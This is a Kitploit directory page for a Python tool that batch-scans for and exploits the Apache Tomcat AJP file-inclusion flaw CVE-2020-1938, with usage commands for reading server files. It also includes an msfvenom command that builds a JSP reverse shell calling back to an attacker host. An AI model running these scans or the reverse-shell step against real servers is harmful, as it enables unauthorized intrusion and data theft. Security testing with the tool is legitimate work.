Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CNVD-2020-10487 — CVE-2020-1938 / CNVD-2020-1048 Detection Tools | Kitploit
Tools/GitHubGitHub/doggycheng/cnvd-2020-10487
Vulnerability ScannersExploitationShellcodeWeb Application ExploitationPenetration TestingPayload Development
GitHubdoggycheng/cnvd-2020-10487

CNVD-2020-10487

CVE-2020-1938 / CNVD-2020-1048 Detection Tools

View Repository
86226 years agoNot yet reviewed
Share

Description

The tool is intended for security research and internal audits only. It is forbidden to use it to launch illegal attacks. The user is responsible for any consequences.

Apache Tomcat file inclusion vulnerability (CVE-2020-1938 / CNVD-2020-1048) batch detection tool.

This project is modified based on Kit4y's project.

Code Modification

When there is only one domain or IP in ip.txt, threadCount becomes 1, and the program actually does not run. Added code to check the thread count.

...
if threadCount == 1:
    threadCount = 2
for i in range(0,threadCount-1):
...

Modified a small amount of code to be compatible with Python 3. Code before modification:

self.stream = self.socket.makefile("rb", bufsize=0)
print("".join([d.data for d in data]))

Code after modification:

if sys.version_info < (3, 0):
    self.stream = self.socket.makefile("rb", bufsize=0)
else:
    self.stream = self.socket.makefile("rb", buffering=None)
if sys.version_info < (3, 0):
    print("".join([d.data for d in data]))
else:
    print(b"".join([d.data for d in data]).decode("UTF-8"))

Usage

Batch Detection

1. Place the domains/IPs to be scanned in ip.txt, for example:

127.0.0.1
www.baidu.com
www.google.com

2. python threading-find-port-8009.py

Scans the domains/IPs in ip.txt to find those with port 8009 open, and saves them to the generated 8009.txt.

3. python threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py

Filters from 8009.txt the URLs that meet the vulnerability condition, and places them in vul.txt. The domains present in vul.txt are those that contain the vulnerability.

Single Site Detection

python CNVD-2020-10487-Tomcat-Ajp-lfi.py target.com

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /WEB-INF/web.xml 192.168.125.128

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -f /index.jsp 192.168.125.128

Cross-directory and Reverse Shell

By default, it reads ROOT under webapps. Modifying '/asdf' to '/test/asdf' allows accessing the content of the test directory under webapps.

t.perform_request('/asdf',attributes=[

If the server also has a file upload vulnerability, upload the following shell.txt

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.125.130 LPORT=4444 > shell.txt

Modify '/asdf' to '/asdf.jsp', start MSF, and then use the PoC tool to obtain a shell.

Other Related Tools

https://github.com/0nise/CVE-2020-1938
https://github.com/hypn0s/AJPy
https://github.com/00theway/Ghostcat-CNVD-2020-10487

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →